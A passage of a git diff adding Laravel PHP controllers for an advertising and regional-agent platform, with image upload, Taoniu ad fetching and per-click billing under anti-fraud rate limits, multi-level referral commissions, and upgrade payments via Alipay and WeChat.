+        $money = 0;
+        //用户等级达到并且首次申请代理可免费
+        $proxyarea=ProxyArea::whereUid(\Auth::id())->first();
+        if (empty($proxyarea)) {
+            $money=0;
+        } else {
+            //$aa=Proxy::getSettingByAreaAndLevel(\Auth::user()->level,\Auth::user()->province,\Auth::user()->city,\Auth::user()->district);
+            //$money=$aa['apply_money'];
+            $money = Proxy::getApplyMoneyByConfig($param['province'], !empty($param['city'])? $param['city'] : null, !empty($param['district'])? $param['district'] : null, \Auth::user()->level);
+        }
+        return showJsonSucc('获取代理费用成功', ['money' => moneyFormat($money)]);
+    }
+}

+ 11 - 0
app/Http/Controllers/Api/ProxyInviteController.php

@@ -0,0 +1,11 @@
+<?php
+
+namespace App\Http\Controllers\Api;
+
+use Illuminate\Http\Request;
+use App\Http\Controllers\Controller;
+
+class ProxyInviteController extends Controller
+{
+    //
+}

+ 34 - 0
app/Http/Controllers/Api/PublicController.php

@@ -0,0 +1,34 @@
+<?php
+/**
+ *
+ * @author: lyh
+ * @date: 2019/4/3
+ */
+
+namespace App\Http\Controllers\Api;
+
+
+use App\Http\Controllers\Controller;
+use Illuminate\Http\Request;
+use Illuminate\Support\Facades\Storage;
+
+class PublicController extends Controller
+{
+    public function uploadImg(Request $request)
+    {
+        $validator = \Validator::make($param = $request->all(), [
+            'image' => 'required|image|max:10240'
+        ]);
+        if ($validator->fails()) {
+            return showJsonErr($validator->errors()->first());
+        }
+
+        $filename = Storage::disk('api')->putFile('upload', $param['image']);
+        if (empty($filename)) {
+            return showJsonErr('上传失败');
+        }
+        return showJsonSucc('上传成功', [
+            'url' => '/'.$filename
+        ]);
+    }
+}

+ 390 - 0
app/Http/Controllers/Api/TaoniuController.php

@@ -0,0 +1,390 @@
+<?php
+/**
+ * 对接桃牛接口
+ * @author: lyh
+ * @date: 2019/4/3
+ */
+
+namespace App\Http\Controllers\Api;
+
+use App\Http\Controllers\Controller;
+use App\Modes\AdverAlarm;
+use App\Modes\AdverDeductLog;
+use App\Modes\Advertising;
+use App\Modes\AdverVisit;
+use App\Modes\Area;
+use App\Modes\Config;
+use App\Modes\Industry;
+use Carbon\Carbon;
+use Illuminate\Http\Request;
+
+class TaoniuController extends Controller
+{
+    /**
+     * 桃牛获取广告接口
+     * @author lyh
+     * @date 2019/4/3
+     * @description
+     * 要求:筛选条件包括:关键字、地区、行业、数量
+     * @todo 待定
+     */
+    public function adver(Request $request)
+    {
+        $validator = \Validator::make($param = $request->all(), [
+            'keyword' => 'min:1', // 查询-关键字
+            'industry' => 'exists:industry,content', // 查询-行业
+            'province' => 'exists:area,name', // 查询-省
+            'city' => 'exists:area,name', // 查询-市
+            'district' => 'exists:area,name', // 查询-区
+            'num' => 'required|integer', //查询-提取广告数量
+            'shop_master_id' => 'required|integer',// 防作弊-主商家id
+            //'shop_slave_id' => 'required|integer',//防作弊-子商家id、
+            //'user_industry' => 'required|exists:industry,content', // 防作弊-当前登录用户的所在的行业
+            //'uid' => 'required|integer', //防作弊-用户id
+            'ip' => 'required|ipv4', // 防作弊-ip
+            'is_free' => 'required|integer|between:0,1', //防作弊 0-扣费 1-免费
+            'type' => 'required|integer|between:1,2' // 防作弊-1-点击、2-浏览、3-展现
+        ]);
+        if ($validator->fails()) {
+            return showJsonErr($validator->errors()->first());
+        }
+        $adver = Advertising::select(['id', 'scene', 'title', 'image', 'scene', 'image_group', 'content', 'redirect'])
+            ->where('residue_num', '>=', 1)
+            ->where('status', 3)
+            ->limit($param['num'])
+            ->orderBy(\DB::raw('rand()')); // @TODO 随机待优化
+
+        // 关键字查询
+        if (!empty($param['keyword'])) {
+            $adver->where('title', 'like', "%{$param['keyword']}%");
+        }
+
+        // 行业查询
+        if (!empty($param['industry'])) {
+            $adver->where('industry', Industry::whereContent($param['industry'])->select('id')->first()->id);
+        }
+
+        // 省级查询
+        if (!empty($param['province'])) {
+            $adver->where('province', Area::whereName($param['province'])->select(['id'])->first()->id);
+        }
+
+        // 地级市查询
+        if (!empty($param['city'])) {
+            $adver->where('city', Area::whereName($param['city'])->select(['id'])->first()->id);
+        }
+
+        // 县区查询
+        if (!empty($param['district'])) {
+            $adver->where('district', Area::whereName($param['district'])->select(['id'])->first()->id);
+        }
+
+        $res = $adver->get();
+
+        if (empty($res)) {
+            return showJsonErr(1012);
+        }
+
+        $param['adver'] = collect($res)->pluck('id');
+        $param['ip'] = $request->ip();
+
+        if (!empty($param['shop_slave_id'])) {
+
+        }
+        $param['shop_id'] = $param['shop_master_id'] . '-' . $param['shop_slave_id'];
+
+        // 保存广告获取日志
+        AdverVisit::insertGetId($param);
+        $remark = [];
+        if ($res->isNotEmpty() && $param['is_free'] == 0) {
+            foreach ($res as $ad) {
+                $param['adver_id'] = $ad->id;
+
+                // 扣费
+                $remark = $this->deduction($param);
+            }
+        }
+
+        return showJsonSucc(1001, ['data' => $res, 'remark' => $remark]);
+    }
+
+    /**
+     * 广告扣费
+     * @author lyh
+     * @date 2019/4/3
+     * @description
+     * 要求:支持批量
+     * 预计要做的防作弊规则是这样:
+     * 1. 根据同用户点击同一个商家,某个时间段M内,最多只能N次生效
+     * 2. 根据同IP点击同一个商家,某个时间段M内,最多只能N次生效
+     * 3. 根据同一个用户,点击同一个行业的某个商家,某个时间段M内,最多只能N次生效
+     * 4. 根据同一个IP,点击同一个行业的某个商家,某个时间段M内,最多只能N次生效
+     *
+     */
+    public function adverDeduction(Request $request)
+    {
+        $validator = \Validator::make($param = $request->all(), [
+            'uid' => 'required|integer',
+            'shopId' => 'required|integer',
+            'ip' => 'required',
+            'industry' => 'required|exists:industry,content',
+            'adver_id' => 'required|exists:advertising,id',
+            'is_free' => 'required|integer|between:0,1', // 0-扣费 1-免费
+            'type' => 'required|integer|between:1,3' // 1-点击、2-浏览、3-展现
+        ]);
+        if ($validator->fails()) {
+            return showJsonErr($validator->errors()->first());
+        }
+
+        $param['industry'] = Industry::whereContent($param['industry'])->first()->id;
+
+        // 请求记录
+        AdverDeductLog::insertGetId([
+            'uid' => $param['uid'],
+            'shop_id' => $param['shopId'],
+            'ip' => $param['ip'],
+            'industry' => $param['industry'],
+            'adver_id' => $param['adver_id'],
+            'is_free' => $param['is_free'],
+            'type' => $param['type']
+        ]);
+
+        // 对广告统计
+        switch ($param['type']) {
+            case 1:
+                Advertising::whereId($param['adver_id'])->increment('click_num');
+                break;
+            case 2:
+                Advertising::whereId($param['adver_id'])->increment('browse_num');
+                break;
+            case 3:
+                Advertising::whereId($param['adver_id'])->increment('show_num');
+                break;
+            default;
+        }
+
+        $remark = [];
+
+        if ($param['is_free'] == 0) {
+            /**********根据同用户点击同一个商家,某个时间段M内,最多只能N次生效**********/
+            $where = [['adver_id', '=', $param['adver_id']], ['uid', ' = ', $param['uid']], ['shop_id', ' = ', $param['shopId']]];
+            $re = $this->checkCache($adver_id = $param['adver_id'], $keyStart = 'user', $keyEnd = 'shoper', $paramStart = $param['uid'], $paramEnd = $param['shopId'], $where);
+            if (is_string($re)) {
+                $remark[] = $re;
+            }
+
+            /**********根据同IP点击同一个商家,某个时间段M内,最多只能N次生效**********/
+            $where = [['adver_id', ' = ', $param['adver_id']], ['ip', ' = ', $param['ip']], ['shop_id', ' = ', $param['shop_id']]];
+            $re = $this->checkCache($adver_id = $param['adver_id'], $keyStart = 'ip', $keyEnd = 'shoper', $paramStart = $param['ip'], $paramEnd = $param['shopId'], $where);
+            if (is_string($re)) {
+                $remark[] = $re;
+            }
+
+            /**********根据同一个用户,点击同一个行业的某个商家,某个时间段M内,最多只能N次生效**********/
+            $where = [['adver_id', ' = ', $param['adver_id']], ['uid', ' = ', $param['uid']], ['industry', ' = ', $param['industry']]];
+            $re = $this->checkCache($adver_id = $param['adver_id'], $keyStart = 'user', $keyEnd = 'industry', $paramStart = $param['uid'], $paramEnd = $param['industry'], $where);
+            if (is_string($re)) {
+                $remark[] = $re;
+            }
+
+            /**********根据同一个IP,点击同一个行业的某个商家,某个时间段M内,最多只能N次生效**********/
+            $where = [['adver_id', ' = ', $param['adver_id']], ['ip', ' = ', $param['ip']], ['industry', ' = ', $param['industry']]];
+            $re = $this->checkCache($adver_id = $param['adver_id'], $keyStart = 'ip', $keyEnd = 'industry', $paramStart = $param['ip'], $paramEnd = $param['industry'], $where);
+            if (is_string($re)) {
+                $remark[] = $re;
+            }
+
+            if (!empty($remark)) {
+                return showJsonErr('扣费失败', $remark);
+            }
+
+            $adver = Advertising::find($param['adver_id']);
+            if ($adver->residue_num <= 0) {
+                return showJsonErr("广告[ID:{$param['adver_id']},剩余次数为{$adver->residue_num}");
+            }
+
+            $res = Advertising::whereId($param['adver_id'])->decrement('residue_num');
+            if (empty($res)) {
+                return showJsonErr("广告[id:{$param['adver_id']}]扣费失败");
+            }
+
+            // 广告过期
+            $adver = Advertising::whereId($param['adver_id'])->select(['residue_num'])->first();
+            if ($adver->residue_num <= 0) {
+                Advertising::whereId($param['adver_id'])->update(['status' => 9]);
+                // todo 告诉广告发布者广告到期?
+            }
+        }
+        return showJsonSucc("广告[id:{$param['adver_id']}]请求成功", $remark);
+    }
+
+    /**
+     * 分享计费
+     * @author lyh
+     * @date 2019/4/3
+     * @param \Request $request
+     * @description
+     * todo 待定
+     */
+    public function shareBilling(\Request $request)
+    {
+
+    }
+
+    /**
+     * @author lyh
+     * @date 2019/4/4
+     * @param $duration
+     * @param $time
+     * @return array
+     * @description
+     */
+    private function sendMsg($adverId, $duration, $time, $where = [], $remark = '%s')
+    {
+        $afterTime = Carbon::now()->subMinute($duration);
+        $requestNum = AdverDeductLog::whereBetween('created_at', [$afterTime, Carbon::now()])
+            ->where($where)
+            ->count('id');
+        // 如果请求次数过多,则发送消息给城市运营商
+//        if ($requestNum > $time) {
+        $remark = sprintf($remark, $requestNum);
+        $adver = Advertising::find($adverId);
+
+        // todo
+        AdverAlarm::insert([
+            'uid' => $adver->uid, // 广告发布人
+            'province' => $adver->province,
+            'city' => $adver->city,
+            'district' => $adver->district,
+            'remark' => $remark
+        ]);
+//        }
+    }
+
+    private function checkCache($adverId, $keyStart, $keyEnd, $paramStart, $paramEnd, $where)
+    {
+        $prefix = sprintf('%sAND%s_', strtoupper($keyStart), strtoupper($keyEnd));
+        $duration = Config::getValue("{$prefix}DURATION");
+        $time = Config::getValue("{$prefix}TIME");
+        $cachekey = sprintf(' %sAnd%s_%s_%s', $keyStart, $keyEnd, $paramStart, $paramEnd);
+
+        $attri = [
+            'user' => '用户',
+            'shoper' => '商家',
+            'ip' => 'IP',
+            'industry' => '行业'
+        ];
+
+        $msgStart = $attri[$keyStart];
+        $msgEnd = $attri[$keyEnd];
+
+        $commonComment = sprintf('%s[%s]点击%s[%s],在%s分钟内', $msgStart, $paramStart, $msgEnd, $paramEnd, $duration);
+
+        if (\Cache::has($cachekey)) {
+            $usdtNum = \Cache::get($cachekey);
+            if ($usdtNum >= $time) {
+                // todo  发送消息给谁
+                $this->sendMsg($adverId, $duration, $time, $where, $remark = $commonComment . "请求了[%s]次");
+
+                // return showJsonErr('触发失败'); // todo 修改提示内容
+                $remark = sprintf("[对接提醒:该消息内容正式上线会去除]: %s生效了%s次", $commonComment, $usdtNum);
+                return $remark;
+            } else {
+                \Cache::increment($cachekey);
+            }
+        } else {
+            \Cache::add($cachekey, 1, $duration);
+        }
+        return true;
+    }
+
+    /**
+     * 获取广告扣费
+     * @author lyh
+     * @date 2019/4/19
+     * @param $param
+     * @return array
+     * @description
+     */
+    private function deduction($param)
+    {
+        $param['industry'] = Industry::whereContent($param['user_industry'])->first()->id;
+
+        // 请求记录
+        AdverDeductLog::insertGetId([
+            'uid' => $param['uid'],
+            'shop_id' => $param['shop_id'],
+            'ip' => $param['ip'],
+            'industry' => $param['industry'],
+            'adver_id' => $param['adver_id'],
+            'is_free' => $param['is_free'],
+            'type' => $param['type'],
+            'shop_slave_id' => $param['shop_slave_id'],
+            'shop_master_id' => $param['shop_master_id']
+        ]);
+
+        // 对广告统计
+        switch ($param['type']) {
+            case 1:
+                Advertising::whereId($param['adver_id'])->increment('click_num');
+                break;
+            case 2:
+                Advertising::whereId($param['adver_id'])->increment('browse_num');
+                break;
+            case 3:
+                Advertising::whereId($param['adver_id'])->increment('show_num');
+                break;
+            default;
+        }
+
+        $remark = [];
+        if ($param['is_free'] == 0) {
+            /**********根据同用户点击同一个商家,某个时间段M内,最多只能N次生效**********/
+            $where = [['adver_id', '=', $param['adver_id']], ['uid', ' = ', $param['uid']], ['shop_id', ' = ', $param['shop_id']]];
+            $re = $this->checkCache($adver_id = $param['adver_id'], $keyStart = 'user', $keyEnd = 'shoper', $paramStart = $param['uid'], $paramEnd = $param['shop_id'], $where);
+            if (is_string($re)) {
+                $remark[] = $re;
+            }
+
+            /**********根据同IP点击同一个商家,某个时间段M内,最多只能N次生效**********/
+            $where = [['adver_id', ' = ', $param['adver_id']], ['ip', ' = ', $param['ip']], ['shop_id', ' = ', $param['shop_id']]];
+            $re = $this->checkCache($adver_id = $param['adver_id'], $keyStart = 'ip', $keyEnd = 'shoper', $paramStart = $param['ip'], $paramEnd = $param['shop_id'], $where);
+            if (is_string($re)) {
+                $remark[] = $re;
+            }
+
+            /**********根据同一个用户,点击同一个行业的某个商家,某个时间段M内,最多只能N次生效**********/
+            $where = [['adver_id', ' = ', $param['adver_id']], ['uid', ' = ', $param['uid']], ['industry', ' = ', $param['industry']]];
+            $re = $this->checkCache($adver_id = $param['adver_id'], $keyStart = 'user', $keyEnd = 'industry', $paramStart = $param['uid'], $paramEnd = $param['industry'], $where);
+            if (is_string($re)) {
+                $remark[] = $re;
+            }
+
+            /**********根据同一个IP,点击同一个行业的某个商家,某个时间段M内,最多只能N次生效**********/
+            $where = [['adver_id', ' = ', $param['adver_id']], ['ip', ' = ', $param['ip']], ['industry', ' = ', $param['industry']]];
+            $re = $this->checkCache($adver_id = $param['adver_id'], $keyStart = 'ip', $keyEnd = 'industry', $paramStart = $param['ip'], $paramEnd = $param['industry'], $where);
+            if (is_string($re)) {
+                $remark[] = $re;
+            }
+
+
+            $adver = Advertising::find($param['adver_id']);
+            if ($adver->residue_num <= 0) {
+                $remark[] = "广告[ID:{$param['adver_id']},剩余次数为{$adver->residue_num}";
+            }
+
+            $res = Advertising::whereId($param['adver_id'])->decrement('residue_num');
+            if (empty($res)) {
+                $remark[] = "广告[id:{$param['adver_id']}]扣费失败";
+            }
+
+            // 广告过期
+            $adver = Advertising::whereId($param['adver_id'])->select(['residue_num'])->first();
+            if ($adver->residue_num <= 0) {
+                Advertising::whereId($param['adver_id'])->update(['status' => 9]);
+                // todo 告诉广告发布者广告到期?
+            }
+        }
+        return $remark;
+    }
+}

+ 311 - 0
app/Http/Controllers/Api/TestController.php

@@ -0,0 +1,311 @@
+<?php
+/**
+ * 对接桃牛接口
+ * @author: lyh
+ * @date: 2019/4/3
+ */
+
+namespace App\Http\Controllers\Api;
+use App\Http\Controllers\Controller;
+
+use App\Modes\AccountLog;
+use App\Modes\Advertising;
+use App\Modes\Frozen;
+use App\Modes\Order;
+use App\Modes\Proxy;
+use App\Modes\ProxyInvite;
+use App\Modes\Upgrade;
+use App\Modes\User;
+use App\Modes\UserCoin;
+use App\Modes\UserMsg;
+use App\Service\UpgradeService;
+use Illuminate\Http\Request;
+use Maatwebsite\Excel\Facades\Excel;
+
+
+class TestController extends Controller
+{
+    public function index(Request $request){
+        Upgrade::addUpgradeLog(1,'cesssdfsd',105);exit;
+        Order::sendFenyongMsg('测试分佣类型',10,105);exit;
+        print_r($this->tuikuan(209));exit;
+
+    }
+    function tuikuan($uid){
+        $list=Order::whereUid($uid)->get();
+        $arr=[];
+        $kd=0;
+        foreach($list as $k =>$item){
+            if($item->order_no!=$item->pay_no){
+                if($item->pay_type==2){
+                    $pay = \App::make('aliPay');
+                    $res=$pay->getReturnInfo($item->order_no, $item->pay_no,$item->price);
+
+                }else{
+                    $pay = \App::make('wechat');
+                    $res=$pay->getReturnInfo($item->order_no, $item->pay_no,$item->price,$item->price);
+                }
+                $arr[$kd][]=$res;
+                $kd++;
+
+            }
+        }
+        return $arr;
+    }
+     function getShouYi($ids,$starttime,$endtime){
+        $list=AccountLog::where('type','=',5)->whereIn('source_uid',$ids)->where('uid','=',\Auth::id())->whereBetween('created_at',[$starttime,$endtime])->get()->toArray();print_r($list);exit;
+        $count=0;
+        $sum=0;
+        $gguser=[];
+        $dluser=[];
+        $ggsum=0;
+        $dlsum=0;
+        if(!empty($list)){
+            foreach($list as $key=>$value){
+                $count++;
+                $sum+=$value->money;
+                if(strpos($value->remark,'广告')==true){
+                    if(!in_array($value->uid,$gguser)){
+                        $gguser[]=$value->uid;
+                    }
+                    $ggsum+=$value->money;
+                }else{
+                    if(!in_array($value->uid,$dluser)){
+                        $dluser[]=$value->uid;
+                    }
+                    $dlsum+=$value->money;
+                }
+
+            }
+        }
+        $arr=[
+            'uv' => $count, // 代理收益次数
+            'earnings' => round($sum,3),// 总收益
+            'inviteNum' => count($ids), // 下级代理数量
+            'proxyNum' => count($dluser), // 代理数量
+            'proxyMoney' => round($dlsum,3), // 代理收益
+            'adverNum' => count($gguser), // 广告数量
+            'adverMoney' => round($ggsum,3), // 广告收益
+        ];
+        return $arr;
+    }
+    /*
+     * 分佣算法 add by wsl 20190626
+     * $fymoney 用户支付的钱
+     * $uid 当前支付的用户id
+     * $paytype  类型,与order表的type对应
+     * */
+    public function UserFenYong($fymoney,$uid,$paytype){
+        $userinfo=User::whereId($uid)->first()->toArray();
+        $proxy_type=$paytype==2?2:1;
+        //1.获取直推信息
+        if(!empty($userinfo['invitor'])){
+            $parentinfo=User::whereId($userinfo['invitor'])->first();
+        }
+        if(!empty($parentinfo)){
+            $parentinfo=$parentinfo->toArray();
+            //获取直属上级的配置
+            $parentsetting=Proxy::getSettingByAreaAndLevel($parentinfo['level'],$parentinfo['province'],$parentinfo['city'],$parentinfo['district']);
+            if(!empty($parentsetting)){
+                //算分佣
+                if($paytype==2){
+                    $parentpersent=$parentsetting['adver_invite'];
+                    $rmarkstr='广告费';
+
+                }else{
+                    $parentpersent=$parentsetting['proxy_invite'];
+                    $rmarkstr='代理费';
+                }
+                $parentmoney=$parentpersent/100*$fymoney;
+                $remark='用户【id:'.$uid.'】,用途-支付'.$rmarkstr.','.$fymoney.'元,得到佣金【'.$parentmoney.'】';
+
+                //给直推上级添加余额并生成记录
+                $this->updateUserAndinsertLog($parentinfo,$parentmoney,$remark,$uid);
+
+            }
+            //间分佣算法 start
+            if(!empty($parentinfo['invitor'])){
+                $jian1info=User::whereId($parentinfo['invitor'])->first();
+                if(!empty($jian1info)){
+                    $jian1info=$jian1info->toArray();
+                     //间1分佣
+                    $jian1money=$this->jianFenYong($jian1info,$fymoney,1,$proxy_type);
+                    if(!empty($jian1money)){
+                        $remark='用户【id:'.$uid.'】,用途-支付'.$rmarkstr.','.$fymoney.'元,得到佣金【'.$jian1money.'】';
+                        //生成记录
+                        $this->updateUserAndinsertLog($jian1info,$jian1money,$remark,$uid);
+                    }
+
+                    //间2的分佣
+                    if(!empty($jian1info['invitor'])){
+                        $jiantwoinfo=User::whereId($jian1info['invitor'])->first();
+                        if(!empty($jiantwoinfo)){
+                            $jiantwoinfo=$jiantwoinfo->toArray();
+                            $jiantwomoney=$this->jianFenYong($jiantwoinfo,$fymoney,2,$proxy_type);
+                            if(!empty($jiantwomoney)){
+                                $remark='用户【id:'.$uid.'】,用途-支付'.$rmarkstr.','.$fymoney.'元,得到佣金【'.$jiantwomoney.'】';
+                                //生成记录
+                                $this->updateUserAndinsertLog($jiantwoinfo,$jiantwomoney,$remark,$uid);
+                            }
+                        }
+                    }
+
+
+                    }
+
+                }
+            //间分佣算法 end
+            }
+
+        }
+    /*
+     * 更新user表的月并且生成记录 add by wsl 20190626
+     * $userinfo 要更新的用户信息 array
+     * $money 变动金额
+     * $remark 备注
+     * $source_id 来源id
+     * */
+    function updateUserAndinsertLog($userinfo,$money,$remark,$source_id){
+        \DB::beginTransaction();
+        try {
+            User::whereId($userinfo['id'])->update(['balance' => $userinfo['balance']+$money]);
+            AccountLog::saveDataByPost($userinfo['id'],5,$money,$userinfo['balance'],2,1,$remark,$source_id);
+            \DB::commit();
+        } catch (Exception $exception) {
+            \DB::rollBack();
+        }
+    }
+    /*
+     * 计算间1间2分佣得到的金钱 add by wsl 20190626
+     * $userinfo 上一级用户信息 array
+     * $fymoney 当前用户支付的金钱
+     * $jiantype 间1还是间2
+     * $proxy_type 广告还是代理
+     * */
+    function jianFenYong($userinfo,$fymoney,$jiantype=1,$proxy_type){
+        //获取间1的配置
+        $setting=Proxy::getJian1OrJian2Setting($userinfo['level'],$userinfo['province'],$userinfo['city'],$userinfo['district'],$jiantype,$proxy_type);
+        $jianmoney=0;
+        if(!empty($setting)&& $userinfo['level']>1) {
+            //计算间的直推下级
+            $childcount = User::where('invitor', '=', $userinfo['id'])->count();
+            //找到判定区间分配佣金//由于第一个设置不要,不需要判定第一个
+            if ($childcount <= $setting[1]['max']) {
+                $jianmoney = $fymoney * $setting[0]['pct'] / 100;
+            } elseif ($childcount > $setting[1]['max'] && $childcount < $setting[2]['max']) {
+                $jianmoney = $fymoney * $setting[1]['pct'] / 100;
+            } else {
+                $jianmoney = $fymoney * $setting[2]['pct'] / 100;
+            }
+        }
+        return $jianmoney;
+    }
+    public function getSettingByYearAndMonth(Request $request){
+        $param = $request->all();
+        $uid=$param['userid'];
+
+
+        //找出自己的所有直属下级
+        $childarr=User::where('invitor','=',$uid)->get(['id']);
+        $childarr=$childarr->toArray();
+        $arr=[];
+        if(!empty($childarr)){
+            foreach ($childarr as $ke=>$ve){
+                $arr[]=$ve['id'];
+            }
+        }
+        $montstat=Order::getMonthOrYearStat($uid,$arr,'month');
+        $yearstat=Order::getMonthOrYearStat($uid,$arr,'year');
+        //找到对应订单并且统计
+        $userinfo=User::where('id','=',$uid)->first()->toArray();
+        //根据用户等级找到相关配置
+        $setting=Proxy::getSettingByAreaAndLevel($userinfo['level']+1,$userinfo['province'],$userinfo['city'],$userinfo['district']);
+
+        if(!empty($setting)){
+            if((!empty($setting['upgrade_business_month'])&&$setting['upgrade_business_month']!='0.000'&&$montstat>=$setting['upgrade_business_month'])
+                ||(!empty($setting['upgrade_business_year'])&&$setting['upgrade_business_year']!='0.000'&&$yearstat>=$setting['upgrade_business_year'])
+            ){
+                //进行升级
+                User::whereId($uid)->update(['level' => $userinfo['level']+1]);
+            }
+        }
+
+
+    }//testInviteNumUpLevel
+     function getSettingByAreaAndLevel2($level,$province,$city,$district){
+        $setting=Proxy::where('user_level','=',$level)
+            ->where('province','=',$province)
+            ->where('city','=',$city)
+            ->where('district','=',$district)
+            ->first();
+        //如果对应区域设置为空的话则找全局配置
+        if(empty($setting)){
+            $setting=Proxy::where('user_level','=',$level)
+                ->where('province','=',0)
+                ->where('city','=',0)
+                ->where('district','=',0)
+                ->first();
+        }
+        $ss=empty($setting)?array():$setting->toArray();
+        return $ss;
+    }
+    public function testInviteNumUpLevel(Request $request){
+
+        //查询当前的父级
+        $param = $request->all();
+        $parantInfo=User::whereInviteCode($param['invitor'])->first()->toArray();
+        //根据用户等级找到相关配置
+        $setting=Proxy::getSettingByAreaAndLevel($parantInfo['level']+1,$parantInfo['province'],$parantInfo['city'],$parantInfo['district']);
+
+
+        if(!empty($setting) &&!empty($setting['upgrade_invite'])){
+
+            $setting_count=$setting['upgrade_invite'];
+            //找出所有推荐的子集个数
+            $childcount=User::where('invitor','=',$parantInfo['id'])->count();
+
+            if($childcount>=$setting_count){
+                //进行升级
+                User::whereId($parantInfo['id'])->update(['level' => $parantInfo['level']+1]);
+            }
+        }
+
+
+
+
+
+
+
+    }
+    public function setAllUserAccount()
+    {
+        $num = 0;
+        $userList = User::all('id');
+        foreach ($userList as &$item) {
+//            $adver = Advertising::whereUid($item->id)
+//                ->whereIn('status', [3, 4, 9])
+//                ->select([
+//                    \DB::raw('count(id) count'),
+//                    \DB::raw('sum(total_price) allMoney')
+//                ])
+//                ->first();
+//            $num++;
+//            $item->count=$adver->count;
+//            UpgradeService::incUserAccount($item->id,'ad_num',abs($item->count));
+//            $item->allMoney=$adver->allMoney;
+//            if ($item->allMoney) {
+//                UpgradeService::incUserAccount($item->id,'ad_all_money',abs($item->allMoney));
+//            }
+//            $item->invite_num = count(User::getAllInvite($item->id, null, null, false)); // 邀请人数
+//            UpgradeService::incUserAccount($item->id,'invite_num', abs($item->invite_num));
+//            $item->proxyCommission = AccountLog::whereIn('type', [20, 21, 22, 23])->whereStatus(1)->whereUid($item->id)->sum('money'); // 代理分佣
+//            UpgradeService::incUserAccount($item->id,'proxy_commission',  abs($item->proxyCommission));
+//            $item->adverCommission = AccountLog::whereIn('type', [10, 11, 12, 13])->whereStatus(1)->whereUid($item->id)->sum('money');//广告费分佣
+//            UpgradeService::incUserAccount($item->id,'adver_commission',  abs($item->adverCommission));
+//            $item->agentAllmoney   = AccountLog::whereIn('type',[7,8])->whereStatus(1)->whereUid($item->id)->sum('money');//总的代理费
+//            UpgradeService::incUserAccount($item->id,'agent_all_money',  abs($item->agentAllmoney));
+        }
+        return $num;
+    }
+
+}

+ 484 - 0
app/Http/Controllers/Api/UpgradeController.php

@@ -0,0 +1,484 @@
+<?php
+
+namespace App\Http\Controllers\Api;
+
+use App\Modes\Order;
+use App\Modes\ProxyArea;
+use App\Modes\Proxy;
+use App\Modes\Upgrade;
+use App\Modes\User;
+use App\Modes\Area;
+use App\Modes\Config;
+use App\Modes\UserMsg;
+use App\Service\PayDispatchService;
+use Doctrine\DBAL\Driver\PDOException;
+use Illuminate\Http\Request;
+use App\Http\Controllers\Controller;
+use Mockery\Exception;
+use phpDocumentor\Reflection\DocBlock\Tags\Uses;
+
+class UpgradeController extends Controller
+{
+    /**
+     * 升级记录
+     * @author lyh
+     * @date 2019/3/25
+     * @description
+     */
+    public function index()
+    {
+        return showJsonSucc('获取待审核升级申请', Upgrade::whereStatus(2)->orderByDesc('status')->whereUid(\Auth::id())->get());
+    }
+
+    /**
+     * 获取升级费用
+     * @author lyh
+     * @date 2019/3/25
+     * @param Request $request
+     * @description
+     */
+    public function cost(Request $request)
+    {
+        $level = $request->post('level', 0);
+        if ($level < \Auth::user()->level) {
+            return showJsonErr('请申请大于当前的等级');
+        }
+
+        if (\Auth::user()->level == 0) {
+            return showJsonErr('请完善用户信息');
+        }
+
+        // 获取代理费
+        $money = Upgrade::getCost($level, \Auth::user());
+
+        return showJsonSucc(1001, $money);
+    }
+
+    /**
+     * 交费升级
+     * @author lyh
+     * @date 2019/3/25
+     * @description
+     */
+    public function add(Request $request)
+    {
+        $validator = \Validator::make($param = $request->post(), [
+            'level' => 'required|integer|between:2,7', //申请等级
+            'money' => 'required|numeric', // 费用
+            'pay_type' => 'required|between:1,5',
+//            'province' => 'required_if:level,6,7|numeric|exists:area,id', // 代理省份
+//            'city' => 'required_if:level,6,7|numeric|exists:area,id', // 代理地级市
+//            'district' => 'required_if:level,6,7|numeric|exists:area,id', //代理区
+        ]);
+
+        if ($validator->fails()) {
+            return showJson(102, $validator->errors()->first());
+        }
+
+        if ($param['level'] < \Auth::user()->level) {
+            return showJsonErr('请申请大于当前的等级');
+        }
+
+        if (\Auth::user()->level == 0 || empty(\Auth::user()->province)|| empty(\Auth::user()->city) || empty(\Auth::user()->district)) {
+            return showJsonErr('请完善用户信息');
+        }
+
+        if (Upgrade::whereUid(\Auth::id())->whereStatus(2)->exists()) {
+            return showJsonErr('您的升级申请正在审核中,请耐心等候');
+        }
+
+        // 获取代理费
+        //$money = Upgrade::getCost($param['level'], \Auth::user());
+        $user=User::whereId(\Auth::id())->first()->toArray();
+        $uplevelarr=[];
+        for($i=$user['level']+1;$i<8;$i++)
+            $uplevelarr[]=$i;
+        if(!empty($uplevelarr)){
+            $money=$this->getUpgradeMoney($user,$param['level'],$uplevelarr);
+        }else{
+            return showJsonErr('您的等级已经是最高级了!');
+        }
+
+        if ($money != $param['money'] && $param['money']>0) {
+            return showJsonErr('代理费用有误,请重新申请', [
+                'money' => $money
+            ]);
+        }
+        \DB::beginTransaction();
+        try {
+            $orderId = 0;
+            $payData = [];
+            $status = 1;
+           // $param['money']=0.01;
+            if ($money > 0) {
+                
+                // 生成支付订单、并返回参数
+                $orderId = Order::insertData([
+                    'uid' => \Auth::id(),
+                    'type' => 1,
+                    'order_no' => $param['order_no'] = $orderNo = Order::makeOrderNo(),
+                    'pay_no' => $pay_no = $orderNo,
+                    'price' => $param['money'],
+                    'is_pay' => 0,
+                    'pay_type' => $param['pay_type'],
+                    'status' => 2,
+                ]);
+                if (empty($orderId)) {
+                    \DB::rollBack();
+                    return showJsonErr('生成订单失败');
+                }
+                $pay = PayDispatchService::dispatch($param['pay_type']);
+                // 获取支付信息
+                // $payData = $pay->getPayInfo($orderNo, $param['money'], \Auth::user()->mobile . '升级支付');
+                if($param['pay_type']==2){//支付宝支付
+                    $payData = $pay->getAppPayInfo($orderNo, $param['money'], \Auth::user()->mobile . '升级支付');//测试
+                }elseif($param['pay_type']==3){
+                    $payData = $pay->getPayInfo($orderNo, $param['money'], \Auth::user()->mobile . '升级支付');//测试
+                }elseif ($param['pay_type'] == 21) {
+                    $pay = PayDispatchService::dispatch(2);
+                    $payData = $pay->getPayInfo($orderNo, $param['money'], \Auth::user()->mobile . '升级支付');//测试
+                }elseif ($param['pay_type'] == 31) {//微信支付h5
+                    $pay = PayDispatchService::dispatch(3);
+                    $getPayInfoh5Data = $pay->getPayInfoh5($orderNo, $param['money'], \Auth::user()->mobile . '升级支付');//测试
+                    
+                    $payData['url'] = 'http://itaoniu.wohuicn.com/re.php?re='.urlencode($getPayInfoh5Data->getTargetUrl());
+        
+                }
+
+            } else {
+                $status = 2;
+            }
+            
+
